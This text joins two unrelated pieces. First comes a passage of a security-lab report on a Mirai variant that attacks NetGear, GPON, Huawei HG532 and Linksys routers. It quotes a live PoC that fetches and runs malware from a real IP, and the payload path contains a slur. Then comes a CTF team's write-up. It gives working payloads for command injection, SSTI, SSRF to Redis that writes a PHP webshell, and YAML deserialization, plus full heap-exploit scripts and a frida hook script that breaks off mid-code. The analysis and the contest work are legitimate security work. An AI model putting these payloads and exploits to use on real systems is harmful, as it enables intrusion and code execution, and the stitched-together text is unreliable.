样本在传播和攻击过程中涉及到4个 PayLoad ，均针对路由器进行攻击，我们会对相关漏洞进行介绍，并针对传播情况利用抽样数据进行统计分析。
表 PayLoad情况
图 影响设备分布 
数据来源：腾讯安全云鼎实验室
上图是几款路由器漏洞影响的国家范围，中国、俄罗斯、日本和美国是受灾较为严重的国家。与国家发展程度、网络普及程度有一定关系，也与上述几款路由器的销售区域有着较强的关联。由于国产设备多，安全性不高等原因，我国未来
IoT 安全面临着巨大的挑战。
下面我们针对这四个漏洞分别进行介绍：
#### 01 NetGear 路由器任意执行漏洞（CNNVD-201306-024）
1）漏洞分析：
POC 通过GET方法执行setup.cgi，通过todo命令执行syscmd，通过syscmd来执行下载和执行病毒的命令。
'GET/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://46.17.47.82/gvv+-O+/tmp/nigger;sh+nigger+netgear&curpath=/¤tsetting.htm=1 HTTP/1.1\r\n\r\n'
代码如下：
A、执行setup.cgi后执行setup_main： 
B、使用GET和POST方法都可以提交POC： 
Todo参数后面直接调取相关的文件执行，没有做任何过滤，这里也是被利用的地方，直接调用syscmd来执行自己想要的命令。 
2）传播情况： 图5 NetGear DGN设备远程任意命令执行漏洞攻击数据抽样统计 
数据来源：腾讯安全云鼎实验室
发起NetGear 漏洞攻击最多的地区是俄罗斯，可以推断带有NetGear 漏洞扫描的病毒载体感染量大。
#### 02 GPON 光纤路由器命令执行漏洞（CVE-2018-10561/62）
1）漏洞分析：
设备上运行的HTTP服务器在进行身份验证时会检查特定路径，攻击者可以利用这一特性绕过任意终端上的身份验证。 通过在URL后添加特定参数
?images/，最终获得访问权限：
<http://ip:port/menu.html?images/> <http://ip:port/GponForm/diag_FORM?images/>
图 GPONPayLoad
2）传播情况：
图 GPON设备远程任意命令执行漏洞攻击数据抽样统计
数据来源：腾讯安全云鼎实验室
此漏洞的病毒载体感染范围较大，对于中国、格鲁吉亚、埃及的影响最为广泛。中国美国的光纤发展迅速，埃及和格鲁吉亚受到中国影响，光纤发展速度也很快，也是他们受影响设备多的一个原因。
#### 03 华为HG532系列路由器远程命令执行漏（CVE-2017-17215）
1）漏洞分析：
图 HG532 PayLoad 
我们可以观察POC
首先提交一个身份认证信息，之后upgrade里面的NewStatusURL标签中执行了想要执行的命令。模块在upnp中，我们找到upnp模块，并找到NEwStatusURL标签，代码直接通过SYSTEM执行命令（upg
-g -u %s -t ‘Firmware Upgrade....’），没有做任何过滤。
2）传播情况：
图 华为HG532设备远程命令执行漏洞攻击数据抽样统计 
数据来源：腾讯安全云鼎实验室
图 CVE-2017-17215 世界影响范围  数据来源：腾讯安全云鼎实验室
通过华为HG532设备远程命令执行的攻击统计，可以看出，利用此漏洞的病毒载体或扫描在中国、日本、俄罗斯非常活跃。
#### 04 Linksys多款路由器 tmUnblock.cgi ttcp_ip 参数远程命令执行漏洞（CNVD-2014-01260）
1）漏洞分析：
多款Linksys路由器没有被正确过滤 'ttcp_ip' 参数值，在 tmUnblock.cgi
脚本的实现上存在安全漏洞，经过身份验证的远程攻击者可利用此漏洞执行任意命令。受影响产品包括但不局限于：
E4200 E3200 E3000 E2500 E2100L E2000 E1550 E1500 E1200 E1000 E900 E300 WAG320N
WAP300N WAP610N WES610N WET610N WRT610N WRT600N WRT400N WRT320N WRT160N
WRT150N
2）传播情况：
图 Linksys多款路由器设备远程命令执行漏洞攻击数据抽样统计  数据来源：腾讯安全云鼎实验室
相关漏洞样本的下载地址很固定，基本分布于拉斯维加斯、新加坡、莫斯科和阿姆斯特丹这四个城市。经过黑产链条的团伙比对，针对路由器的黑产团伙服务器的配置位置，在这几个地方部署的量确实较大。
图 病毒服务器分布图 
数据来源：腾讯安全云鼎实验室
详细的服务器分布信息如下表所示：
表 捕获到的相关样本下载IP地址 
### 三、样本分析
样本md5：099b88bb74e9751abb4091ac4f1d690d
源地址统计（112.28.77.217）：13次，主要攻击了81、8080端口
下载IP：46.17.47.82
样本与mirai是同一个家族的样本，是mirai病毒的一个变种。代码结构和解密后的字符串均非常相似，不同的是此变种使用了3个路由器漏洞进行传播。
Mirai bot 代码的结构如下：
包含了攻击模块、扫描模块和结束模块三个大模块，此样本代码结构与mirai一样，只是相比增加了三种针对路由器的扫描模块。
与以前的mirai不同，这里检测/dev/watchdog，/dev/misc/watchdog，/dev/FTWDT101_watchdog，/dev/FTWDT101\
watchdog，/dev/FTWDT101/watchdog，/sbin/watchdog，/bin/watchdog，/dev/watchdog0，/etc/default/watchdog，/etc/watchdog
等来避免重启。
相比传统的mirai（/dev/watchdog，/dev/misc/watchdog）多了很多新的watchdog检测。同时包含了 Linux.Okiru
用来检测的路径（/dev/FTWDT101_watchdog，/dev/FTWDT101\ watchdog）。
攻击服务器包含了很多相关的文件，各个操作系统平台上的，不同版本的文件。
样本溯源：
下图POC中包含了相关的下载地址： 
通过访问链接 46.17.47.82/cutie，发现其中包含了真正的下载链接。 
保存的路径为：/tmp/gdf，/tmp/gxy，/tmp/dhf，/tmp/ttb;
再直接访问根目录，包含了一条 Twitter 地址：
该 Twitter的作者Philly是一个美国人，病毒存放的路径为nigr（Philly的自称），从Twitter中未发现直接与蠕虫相关的推文。
图 相关Twitter截图 
关于样本捕获：
通过腾讯安全云鼎实验室听风威胁感知平台进行捕捉样本，听风威胁感知平台是云鼎实验室在全球多个节点部署的蜜罐网络集群，用于捕获真实的恶意流量，每天捕获数亿次的各类攻击请求。
相关捕捉界面如下：
参考文档：
* <https://www.freebuf.com/vuls/171457.html>
* <https://www.linuxidc.com/Linux/2014-02/97171.htm>
* <https://xlab.tencent.com/cn/2018/01/05/a-new-way-to-exploit-cve-2017-17215/>
腾讯安全云鼎实验室
关注云主机与云内流量的安全研究和安全运营。利用机器学习与大数据技术实时监控并分析各类风险信息，帮助客户抵御高级可持续攻击；联合腾讯所有安全实验室进行安全漏洞的研究，确保云计算平台整体的安全性。相关能力通过腾讯云开放出来，为用户提供黑客入侵检测和漏洞风险预警等服务，帮助企业解决服务器安全问题。
* * * | 社区文章 |
# 0RAYS-祥云杯writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**大意了，没有做题，掉到了第八
**
* * *
## Web
### Command
命令执行，ban了很多东西
flag藏在隐藏目录下
payload:
/?url=127.0.0.1|ca""t%09/etc/.findfl?g/fla?.txt
### flaskbot
在debug模式下，乱输一个路由可以得到一部分源码
user = request.form['name']
resp = make_response(render_template("guess.html",name=user))
resp.set_cookie('user',base64.urlsafe_b64encode(user),max_age=3600)
return resp
else:
user=request.cookies.get('user')
if user == None:
return render_template("index.html")
else:
user=user.encode('utf-8')
return render_template("guess.html",name=base64.urlsafe_b64decode(user))
@app.route('/guess',methods=['POST'])
def Guess():
user=request.cookies.get('user')
if user==None:
return redirect(url_for("Hello"))
user=user.encode('utf-8')
name = base64.urlsafe_b64decode(user)
num = float(request.form['num'])
if(num<0):
return "Too Small"
elif num>1000000000.0:
return "Too Large"
else:
return render_template_string(guessNum(num,name))
@app.errorhandler(404)
def miss(e):
return "What are you looking for?!!".getattr(app, '__name__', getattr(app.__class__, '__name__')), 404
if __name__ == '__main__':
f_handler=open('/var/log/app.log', 'w')
sys.stderr=f_handler
app.run(debug=True, host='0.0.0.0',port=8888) win.
读源码可得user可控。注入点在cookie，要传入base64
payload:读出源码
{{session.__init__.__globals__.__builtins__.open("/app/app.py").read()}}
from flask import Flask,render_template,request,make_response,redirect,url_for,render_template_string
import math
import base64
import sys
app = Flask(__name__)
def safe(str):
black_list = ['flag','os','system','popen','import','eval','chr','request', 'subprocess','commands','socket','hex','base64','*','?']
for x in black_list:
if x in str.lower():
return "Damn you hacker! You will never"
return str
def guessNum(num,name):
l=0
r=1000000000.0
mid=(l+r)/2.0
ret=""
cnt=0
while not abs(mid-num)<0.00001:
cnt=cnt+1
mid=(l+r)/2.0
if mid>num:
r=mid
ret+="{0}:{1} is too large<br/>".format(cnt,mid)
else:
l=mid
ret+="{0}:{1} is too small<br/>".format(cnt,mid)
if cnt > 50:
break
if cnt < 50:
ret+="{0}:{1} is close enough<br/>I win".format(cnt,mid)
else :
ret+="Wow! {0} win.".format(safe(name))
return ret
@app.route('/',methods=['POST','GET'])
def Hello():
if request.method == "POST":
user = request.form['name']
resp = make_response(render_template("guess.html",name=user))
resp.set_cookie('user',base64.urlsafe_b64encode(user),max_age=3600)
return resp
else:
user=request.cookies.get('user')
if user == None:
return render_template("index.html")
else:
user=user.encode('utf-8')
return render_template("guess.html",name=base64.urlsafe_b64decode(user))
@app.route('/guess',methods=['POST'])
def Guess():
user=request.cookies.get('user')
if user==None:
return redirect(url_for("Hello"))
user=user.encode('utf-8')
name = base64.urlsafe_b64decode(user)
num = float(request.form['num'])
if(num<0):
return "Too Small"
elif num>1000000000.0:
return "Too Large"
else:
return render_template_string(guessNum(num,name))
@app.errorhandler(404)
def miss(e):
return "What are you looking for?!!".getattr(app, '__name__', getattr(app.__class__, '__name__')), 404
if __name__ == '__main__':
f_handler=open('/var/log/app.log', 'w')
sys.stderr=f_handler
app.run(debug=True, host='0.0.0.0',port=8888) win.
{{session.__init__.__globals__.__builtins__['ev'+'al']("__imp"+"ort__('o'+'s').listdir('/')")}}
最终payload
{{session.__init__.__globals__.__builtins__.open("/super_secret_fl""ag.txt").read()}}
### easygogogo
大概是非预期了
先开一个容器 任意注册账号，进入上传
构造目录穿越到根目录下的flag路径，记录返回cookie
再开一个容器，任意上传文件后进入show
利用之前flag的cookie可读flag
解码得到flag
### doyouknowssrf
GACTF2020 SSSRFME原题
参考<https://mp.weixin.qq.com/s/0cOsuIFJwHbHIYvluQq4WQ>
尝试导入so文件反弹shell失败了
直接写马到web路径
payload:
?url=http://[email protected]:[email protected]/?url=http://127.0.0.1:6379?%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252432%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2fvar%2fwww%2fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
蚁剑访问得flag
### easyzzz
我们的CBCTF的dangerous-function中已经用过ZZZCMS的前台RCE出过题了，所以绕了waf拿到一血
参考<https://www.anquanke.com/post/id/212808>
搜索框可以交互，试了下最简单的标签
{if:1>2}45645646{end if}
发现被ban，大概也知道是这个地方了，试了下 if 貌似会ban
去官方文档看了下<http://help.zzzcms.com/259327>
发现了这样的写法
{if:{zzz:userid}>0}
已登录结果
{else}
未登录结果
{end if}
然后想着拼接出if，找了下发现了这个标签,试了下可以
{leftstr:e,1}
拼接一下end if,没问题
{leftstr:e,1}{leftstr:n,1}{leftstr:d,1} {leftstr:i,1}{leftstr:f,1}
去源码看了下，是先解析leftstr标签，再解析if标签的
那么拼一下，看一下目录，然后拿flag
{{leftstr:i,1}{leftstr:f,1}:var_dump(`cat /flag`)}453245432532{{leftstr:e,1}{leftstr:n,1}{leftstr:d,1} {leftstr:i,1}{leftstr:f,1}}
### profile system
上传yaml文件，并且能看和下载文件，下载位置发现了目录穿越，读到了源码
app.py
from flask import Flask, render_template, request, flash, redirect, send_file,session
import os
import re
from hashlib import md5
import yaml
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")
app.config['SECRET_KEY'] = 'Th1s_is_A_Sup333er_s1cret_k1yyyyy'
ALLOWED_EXTENSIONS = {'yaml','yml'}
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower()
@app.route("/")
def index():
session['priviledge'] = 'guest'
return render_template("home.html")
@app.route("/upload", methods=["POST"])
def upload():
file = request.files["file"]
if file.filename == '':
flash('No selected file')
return redirect("/")
elif not (allowed_file(file.filename) in ALLOWED_EXTENSIONS):
flash('Please upload yaml/yml only.')
return redirect("/")
else:
dirname = md5(request.remote_addr.encode()).hexdigest()
filename = file.filename
session['filename'] = filename
upload_directory = os.path.join(app.config['UPLOAD_FOLDER'], dirname)
if not os.path.exists(upload_directory):
os.mkdir(upload_directory)
upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname, filename)
file.save(upload_path)
return render_template("uploaded.html",path = os.path.join(dirname, filename))
@app.route("/uploads/<path:path>")
def uploads(path):
return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))
@app.route("/view")
def view():
dirname = md5(request.remote_addr.encode()).hexdigest()
realpath = os.path.join(app.config['UPLOAD_FOLDER'], dirname,session['filename']).replace('..','')
if session['priviledge'] =='elite' and os.path.isfile(realpath):
try:
with open(realpath,'rb') as f:
data = f.read()
if not re.fullmatch(b"^[ -\-/-\]a-}\n]*$",data, flags=re.MULTILINE):
info = {'user': 'elite-user'}
flash('Sth weird...')
else:
info = yaml.load(data)
if info['user'] == 'Administrator':
flash('Welcome admin!')
else:
raise ()
except:
info = {'user': 'elite-user'}
else:
info = {'user': 'guest'}
return render_template("view.html",user = info['user'])
if __name__ == "__main__":
app.run('0.0.0.0',port=8888,threaded=True)
看懂源码，大概思路是要伪造session ，然后yaml反序列化漏洞
伪造session[‘priviledge’] ==’elite’
yaml.load函数是不安全的
info = yaml.load(data)
正则过滤了一些
re.fullmatch(b"^[ -\-/-\]a-}\n]*$",data, flags=re.MULTILINE)
#主要 .^_`~ 这几个
谷歌搜了一遍发现有个wp
<a href=”https://hackmd.io/[@harrier](https://github.com/harrier
"@harrier")/uiuctf20″”>https://hackmd.io/@harrier/uiuctf20
直接用里面payload，但是没有回显，考虑ping或者curl外带，不成功。
想到刚开始下载yaml文件的功能，于是重定向到那个目录就行了。
user: Administrator
a: !!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x2f\x72\x65\x61\x64\x66\x6c\x61\x67\x20\x3e\x20\x2e\x2f\x75\x70\x6c\x6f\x61\x64\x73\x2f\x34\x65\x35\x62\x30\x39\x62\x32\x31\x34\x39\x66\x37\x36\x31\x39\x63\x63\x61\x31\x35\x35\x63\x38\x62\x64\x36\x64\x38\x65\x65\x35\x2f\x31\x32\x33\x27\x29" #__import__('os').system('/readflag > ./uploads/4e5b09b2149f7619cca155c8bd6d8ee5/123')
user: Administrator 理论上可以不用写也能出flag，但是写上去能判断你的payload有无错误，报错返回elite-user
没报错返回Administrator
* * *
## Misc
### 签到
base64解码，谁能想到签到也是一血呢
`flag{qq_group_826566040}`
### 进制反转
下载得到一个rar文件，但是打开显示压缩包文件头已损坏。
当rar被伪加密后，就会显示报这种错误，用010editor打开rar文件，可以发现加密标识位是1，可知是伪加密：
将1修改成0即可正常打开文件，打开文件后获得一个flag.wav文件，但是播放不了。
用010editor打开发现没有头文件，而且中间的数据块也怪怪的，显然需要异或一下。
先查看文件尾，发现flag信息，flag是歌名
整个文件对FF异或，可获得正确的wav文件：
wav文件修复后，可以播放了。但是完全听不懂说的是哪国的语言，利用听歌识曲也没法听出来。
之后发现需要倒放，利用AU将整首歌倒放后声音明显清楚了，然后利用听歌识曲得到这首歌名叫做：
全部改成大写，去掉括号和里面的内容，去掉空格即可得到flag
### 带音乐家
给了两个文件 一个 decode_it ，一个加密的Doc1.rar
很明显先要解decode_it，然后得到密码解rar
decode_it打开后发现是midi文件，播放没什么特点，放到audacity看了下没有什么
网上搜了下，先试了lsb隐写，但是解不出什么东西，然后搜到了个wp,
Velato是一种使用MIDI文件作为源代码的编程语言
下面谷歌机翻的
然后下载个工具运行一下
这个其实就是rar的密码
解压后发现了doc文档
上面是精灵语，查表后发现是FLAGIS，下面内容base64解密后奇奇怪怪，可能是某种加密吧，于是回头找了找，在rar的注释里发现了东西
每行长度不确定，考虑摩斯密码，解得
AESKEY9219232322
在ecb模式下得到flag
### 到点了
下载附件得到三个word文档，打开第一个word文档，隐藏里提示密码为八位字母数字
第二个word文档是加密状态的，提取word文档加密的hash值，网上搜到了类似的文章
python3 office2john.py dummy.docx > hash.txt
之后用hashcat跑，题目说的是8位数字和字母，太多了，就先试着用纯数字跑，
hashcat -m 9400 --username hash.txt -a 3 ?d?d?d?d?d?d?d?d -o cracked_pass.txt
然后跑出来了，密码是20201024，后来发现是文档的修改日期
第二个word文档解开密码后能看到图片下面有一块颜色被修改成了白色的数据
改成红色可以看到是AB字符串，猜测是培根密码
利用CyberChef解码，得到：GOODNIGHTSWEETIE
打开第三个word文档，发现无法读取的内容
修改后缀为压缩包，发现4.zip
4.zip里有一个bmp图片，先用zsteg分析一下：
发现有一个wbStego隐写，直接提取提取不出来，需要利用工具wbstego43open。
选择Decode，选择图片，输入密码后，设置保存路径即可获得flag文件
### xixixi
下载附件得到一个磁盘文件，装载后得到一张kejin.png，左上角有flag的一小部分
利用DiskGenius装载虚拟磁盘，恢复文件后得到被删除的文件
有用的一共就两个文件，一个是xi.py，一个是xixi.py。得到两段代码：
xixi.py
import struct
class FAT32Parser(object):
def __init__(self, vhdFileName):
with open(vhdFileName, 'rb') as f:
self.diskData = f.read()
self.DBR_off = self.GetDBRoff()
self.newData = ''.join(str(self.diskData))
def GetDBRoff(self):
DPT_off = 0x1BE
target = self.diskData[DPT_off+8:DPT_off+12]
DBR_sector_off, = struct.unpack("<I", target)
return DBR_sector_off * 512
def GetFAT1off(self):
target = self.diskData[self.DBR_off+0xE:self.DBR_off+0x10]
FAT1_sector_off, = struct.unpack("<H", target)
return self.DBR_off + FAT1_sector_off * 512
def GetFATlength(self):
target = self.diskData[self.DBR_off+0x24:self.DBR_off+0x28]
FAT_sectors, = struct.unpack("<I", target)
return FAT_sectors * 512
def GetRootoff(self):
FAT_length = self.GetFATlength()
FAT2_off = self.GetFAT1off() + FAT_length
return FAT2_off + FAT_length
def Cluster2FAToff(self, cluster):
FAT1_off = self.GetFAT1off()
return FAT1_off + cluster * 4
def Cluster2DataOff(self, cluster):
rootDir_off = self.GetRootoff()
return rootDir_off + (cluster - 2) * 512
xi.py:
import struct
from xixi import FAT32Parser
from xixixi import Padding, picDepartList
def EncodePieces():
global clusterList
res = []
Range = len(picDepartList) # 58
# GetRandomClusterList(n) - Generate a random cluster list with length n
clusterList = GetRandomClusterList(Range)
for i in range(Range):
if i != Range - 1:
newCRC = struct.pack("<I", clusterList[i+1])
plainData = picDepartList[i][:-4] + newCRC
else:
plainData = picDepartList[i]
# Show the first piece to him, hhh
if i == 0:
newPiece = plainData
else:
newPiece = ''
key = clusterList[i] & 0xFE
for j in plainData:
newPiece += chr(ord(j) ^ key)
# Padding() -- Fill to an integral multiple of 512 with \xFF
res.append(Padding(newPiece))
return res
可知文件的CRC32被修改了，还被异或了。
写一个逆脚本，跑一下即可得到flag：
import struct
import binascii
from xixi import FAT32Parser
fat=FAT32Parser("new.vhd")
f = open("new.vhd", "rb")
f.seek(0x27bae00) #定位图片
flag = open("flag.png", "wb")
flag.write(f.read(8)) #写入头文件
key = 0
def read(n):
global key
b = b''
for i in f.read(n):
b += (i ^ (key & 0xFE)).to_bytes(length=1,byteorder='big',signed=False)
return b
while 1:
d = read(8)
lenth, ctype_type = struct.unpack(">I4s", d)
#print(lenth,ctype_type) #length 数据长度，ctype_type 数据块类型
data = read(lenth)
crc = struct.unpack(">I", read(4))[0]
#print(crc)
real_crc = binascii.crc32(ctype_type+data) & 0xffffffff
#print(real_crc)
real_data = struct.pack(">I", lenth) + ctype_type + data + struct.pack(">I", real_crc)
flag.write(real_data)
if crc != real_crc: #CRC错误的IDAT数据块
b_endian = struct.pack(">I", crc)
clusterList = struct.unpack("<I", b_endian)[0]
#print(clusterList)
f.seek(fat.Cluster2DataOff(clusterList))
key = clusterList & 0xfe
if ctype_type == b"IEND":
break
## PWN
### **影流之主**
限制了函数调用的次数，但是自减操作到-1后就可以随便edit了
exp:
#!/usr/bin/python
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'
local=0
binary_name='yingliuzhizhu'
libc_name='libc.so.6'
libc=ELF("./"+libc_name)
if local:
p=process("./"+binary_name)
else:
p=remote('112.126.71.170',45123)
e=ELF("./"+binary_name)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
def cho(num):
sl(str(num))
def add():
cho(1)
def edit(idx,content):
cho(3)
sl(str(idx))
sl(content)
def show(idx):
cho(4)
sl(str(idx))
def delete(idx):
cho(2)
sl(str(idx))
def aaa(con):
cho(5)
sl(con)
add()
delete(0)
edit(0,p64(0x602060-0x23)+b'a'*(0x30-0x9))
add()
add()
edit(2,b'a'*0x13 + p64(0x602060) + p64(0x601FB0)+b'b'*(0x30-0x24))
show(1)
libc_base = leak_address()-0x6f6a0
print(hex(libc_base+0x6f6a0))
free_hook = libc_base+libc.sym['__free_hook']
malloc_hook = libc_base+libc.sym['__malloc_hook']
print(hex(free_hook))
print(hex(malloc_hook))
one = libc_base+0xf1207
cho(3)
edit(0,p64(0x602060)+p64(malloc_hook-0x23)+b'1'*(0x30-0x11))
edit(1,b'a'*0x23+p64(one)+b'1'*(0x30-0x2c))
ia()
### garden
通过给的malloc(0x30)和uaf构造堆块重叠，写one_gadgetd到freehook
exp:
#!/usr/bin/python
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'
local=0
binary_name='garden'
libc_name='libc.so.6'
libc=ELF("./"+libc_name)
if local:
p=process("./"+binary_name)
else:
p=remote('8.131.69.237',32452)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
def cho(num):
sla('>> ',str(num))
def add(idx,con):
cho(1)
sla('index?',str(idx))
sla('name?',con)
def show(idx):#1
cho(3)
sla('index?',str(idx))
def delete(idx):
cho(2)
sla('index?',str(idx))
def uaf(idx):#1
cho(5)
sla('steal?',str(idx))
def add2():#1
cho(6)
for i in range(9):
add(i,'a')
for i in range(7):
delete(8-i)
uaf(1)
show(1)
ru('\x0a')
libc_base = leak_address() - 0x1e4ca0
print(hex(libc_base))
delete(0)
add2()
for i in range(7):
add(8-i,'a')
add(0,'a')
delete(1)
delete(0)
for i in range(2,9):
delete(i)
for i in range(3,8):
add(i,'b')
free_hook = libc_base+libc.sym['__free_hook']
malloc_hook = libc_base+libc.sym['__malloc_hook']
print(hex(free_hook))
print(hex(malloc_hook))
one = libc_base + 0xe2383
add(0,b'a'*0xd0+p64(0)+p64(0x111)+p64(free_hook))
add(1,'b'*8)
add(2,p64(one))
cho(2)
sla('index?',str(0))
ia()
### Beauty_Of_ChangChun
smallbin stash打随机数
#!/usr/bin/python
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'
local=0
binary_name='changchun'
#libc_name=''
if local:
p=process("./"+binary_name)
else:
p=remote('112.126.71.170',43652)
e=ELF("./"+binary_name)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
def cho(num):
sla("scenery\n",str(num))
def add(size):
cho(1)
sla("size:",str(size))
def delete(idx):
cho(2)
sla("idx:",str(idx))
def show(idx):
cho(4)
sla("idx:",str(idx))
def edit(idx,data):
cho(3)
sla("idx:",str(idx))
sa("chat:",data)
def gift1(idx):
cho(5)
sla("idx",str(idx))
def gift2():
cho(666)
p.recvline()
addr = int(p.recvline()[:-1],16)
for i in range(7):
add(0xf0)
delete(0)
add(0xf0)#0
add(0xf0)#1
add(0x80)#2
delete(0)
delete(1)
add(0x100)#0
add(0xe0)#1
delete(1)
add(0x100)#1
delete(2)
add(0x90)#2
delete(0)
edit(0,'aaaa')
delete(0)
show(0)
p.recvuntil('see\n')
heap_base = leak_address()-0x2a0-0x700
edit(0,'aaaa')
delete(0)
edit(0,'aaaa')
delete(0)
edit(0,'aaaa')
delete(0)
edit(0,'aaaa')
delete(0)
edit(0,'aaaa')
delete(0)
edit(0,'aaaa')
delete(1)
show(1)
p.recvuntil('see\n')
libc_base = leak_address()-0x1ebbe0
print(hex(heap_base),hex(libc_base))
delete(0)
gift2()
cho(5)
sl(p64(heap_base+0xc20)+p64(addr-0x10))
delete(2)
add(0x100)
edit(2,p64(libc_base+0x1ebce0))
print(hex(addr))
gift1(2)
ia()
### babypwn
free之后没清空，可以利用残留数据，任意地址写和任意函数执行
#!/usr/bin/python
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'
local=0
binary_name='pwn'
libc_name='libc-2.23.so'
if local:
p=process("./"+binary_name)
libc=ELF("./"+libc_name)
else:
p=remote('8.131.69.237',52642)
e=ELF("./"+binary_name)
libc=ELF("./"+libc_name)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
def cho(num):
sla("choice:",str(num))
def init():
cho(1)
def create():
cho(2)
def add(size):
cho(3)
sla("size:",str(size))
def edit(data):
cho(4)
sla("content:",data)
def show():
cho(5)
def size():
cho(6)
init()
create()
init()
add(0x80)
show()
p.recvuntil('show:\n')
libc_base = u64(p.recv(8))-0x3c4b78
heap_base = u64(p.recv(8))
print(hex(libc_base),hex(heap_base))
free_hook = libc_base+libc.sym['__free_hook']
free_addr = libc_base+libc.sym['free']
system = libc_base+libc.sym['system']
#system = libc_base+0x45226
binsh = heap_base
menu_addr = 0x400D20
edit(p64(heap_base+0x10)+p64(heap_base)+p64(0x38323131313131)+p64(0)+p64(menu_addr))
size()
edit(p64(heap_base+0x10)+p64(free_hook)+p64(0x38323131313131)+p64(0)+p64(menu_addr)+b'a'*8*11+p64(0x90)+p64(0x21)+p64(heap_base)+p64(0)*2+p64(0x91)+b'/bin/sh\x00')
size()
edit(p64(system))
init()
ia()
## Reverse
### apk1
apk文件，java层的逻辑就是获取输入然后传进native的check函数，so中有一个混淆视听的函数check1，但check函数是动态注册的。我们可以用frida
hook
check中的关键部分，结合算法特征，check中函数的参数和返回值识别加密算法，最终发现是RC4和ECB的DES，hook得到密钥，解密即为flag。
frida脚本
Java.perform(function () {
//Module.getBaseAddress('libnative-lib.so').add(0x8295)
Interceptor.attach(Module.getBaseAddress('libnative-lib.so').add(0xE748),{
onEnter:function(args){
console.log("-------------------sub_e748---------------------");
this.arg1 = args[1];
console.log(hexdump(args[0], {
offset: 0,
length: 10,
header: true,
ansi: true
}));
console.log(hexdump(args[1], {
offset: 0,
length: 10,
header: true,
ansi: true
}));
console.log(hexdump(args[2], {
offset: 0,
length: 50,
header: true,
ansi: true
}));
},
onLeave:function(retval){
console.log(retval);
console.log("-------------------sub_e748-leave---------------");
console.log(hexdump(this.arg1, {
offset: 0,
length: 10,
header: true,
ansi: true
}));
}
});
/*
Interceptor.attach(Module.getBaseAddress('libnative-lib.so').add(0xDB0C),{
onEnter:function(args){
console.log("-------------------sub_DB0C---------------------");
this.arg2 = args[2];
console.log(hexdump(args[0], {
offset: 0,
length: 10,
header: true,
ansi: true
}));
console.log(hexdump(args[1], {
offset: 0,
length: 10,
header: true,
ansi: true
}));
console.log(hexdump(args[2], {
offset: 0,
length: 10,
header: true,
ansi: true
}));
},
onLeave:function(retval){
console.log(retval);
console.log("-------------------sub_DB0C-leave---------------");
console.log(hexdump(this.arg2, {
offset: 0,
length: 10,
header: true,
ansi: true
}));
}
});
Interceptor.attach(Module.getBaseAddress('libnative-lib.so').add(0xD808),{
onEnter:function(args){
//this.var_arg0 = args[0];
//console.log('str='+Memory.readUtf8String(args[1]));
console.log("-------------------sub_d808---------------------");
this.arg1 = args[1];
console.log(hexdump(args[0], {
offset: 0,
length: 10,
header: true,
ansi: true
}));
},
onLeave:function(retval){
console.log(retval);
console.log("-------------------sub_d808-leave---------------");
console.log(hexdump(this.arg1, {
offset: 0,
length: 10,
header: true,
ansi: true
}));
}
});*/
Interceptor.attach(Module.getBaseAddress('libnative-lib.so').add(0xE260),{
onEnter:function(args){
},
onLeave:function(retval){
console.log("sub_E260 returned with "+retval);
}
});
//sub_E5D0
Interceptor.attach(Module.getBaseAddress('libnative-lib.so').add(0xE5D0),{
onEnter:function(args){
console.log("-------------------sub_E5D0---------------------");
this.arg1 = args[1];
console.log(hexdump(args[0], {
offset: 0,
length: 50,
header: true,
ansi: true
}));
